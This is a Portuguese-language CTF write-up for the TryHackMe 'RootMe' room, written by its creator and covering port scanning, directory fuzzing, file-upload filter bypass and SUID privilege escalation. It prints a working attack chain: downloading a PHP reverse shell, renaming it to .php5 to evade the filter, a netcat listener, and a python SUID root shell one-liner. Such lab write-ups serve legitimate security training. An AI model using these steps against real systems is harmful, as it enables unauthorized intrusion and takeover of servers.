- Published on
TryHackMe: RootMe CTF Write-Up
- Authors
- Name
- ReddyyZ
- @ReddyyZ_
RootMe é um CTF de nível fácil desenvolvido por mim e disponível na plataforma TryHackMe. Este CTF tem como objetivo testar suas habilidades em directory fuzzing, upload file bypass e privilege escalation.
Table of Contents
Reconhecimento
Port Scan
Vamos começar com uma scan de portas com o NMAP para descobrir quais portas estão abertas e quais serviços estão sendo executados:
nmap -sV MACHINE_IP
Questão 1: Quantas portas estão abertas?
Resposta: 2
Questão 2: Qual versão do Apache está rodando?
Resposta: 2.4.29
Questão 3: Qual serviço está rodando na porta 22?
Resposta: SSH
Directory Fuzzing
Vamos usar o Gobuster para encontrar diretórios e arquivos:
gobuster dir -u MACHINE_IP -w /usr/share/wordlists/dirb/common.txt # (Ou sua wordlist de preferência)
Questão 5: Qual é o diretório escondido?
Resposta: /*****
Encontramos dois diretórios escondidos, vamos dar uma olhada!
Exploração
Upload File Bypass
Acessando o diretório escondido encontramos um formulário de upload de arquivos.
Agora vamos tentar conseguir o acesso ao servidor enviando uma reverse shell.
Para isso vamos usar a php-reverse-shell.php disponível no github.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Edite o arquivo php-reverse-shell.php
e altere o IP e a porta.
$ip = '127.0.0.1'; // MUDE PARA SEU IP
$port = 4444; // MUDE PARA SUA PORTA DE PREFERÊNCIA
Após tentar fazer o upload do arquivo, recebemos a seguinte mensagem:
Não é permitido o envio de arquivos .php.
Uma maneira de contornar este tipo de filtro é usar extensões incomuns como: .phtml
, .php3
, .php4
, .php5
, .php7
.
Vamos tentar renomear o arquivo para php-reverse-shell.php5
e fazer o upload novamente.
O arquivo foi enviado com sucesso!
Usando o netcat, vamos escutar na porta que configuramos para receber a conexão reversa:
nc -lvp 4444
Agora basta abrir o arquivo php-reverse-shell.php
no navegador e conseguiremos spawnar uma shell.
Questão 6: user.txt
Respota: THM{*****} (Localizada no arquivo /var/www/html/user.txt)
Privilege Escalation
Agora para escalonar nossos privilégios para root vamos explorar arquivos com permissão SUID.
Caso queira aprender mais a fundo sobre a falha, leia o artigo que escrevi anteriormente sobre: SUID Privilege Escalation.
Vamos começar procurando pelos arquivos com a permissão SUID:
find / -perm /4000 # Caso queira esconder os erros adicione 2>/dev/null
Encontramos um arquivo suspeito, /usr/bin/python
.
Questao 7: Procure por arquivos com permissão SUID, qual arquivo é estranho?
Resposta: /usr/bin/python
Questão 8: Encontre uma forma de escalonar seus privilégios.
O GTFOBins é um cheat sheet com várias técnicas de privilege escalation, vamos procurar pelo python.
Primeiro, vamos spawnar uma shell TTY com o comando:
python -c 'import pty; pty.spawn("/bin/bash")'
E agora podemos conseguir o acesso ao root através do comando:
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Questão 9: root.txt
Resposta: THM{*****} (Localizada no arquivo /root/root.txt)
CTF concluído com sucesso!
Conclusão
Os CTFs são uma das melhores maneiras de testar suas habilidades em hacking e desenvolver novas técnicas.
Com esta máquina aprendemos sobre directory fuzzing, upload file bypass e privilege escalation. Espero que tenha gostado do desafio!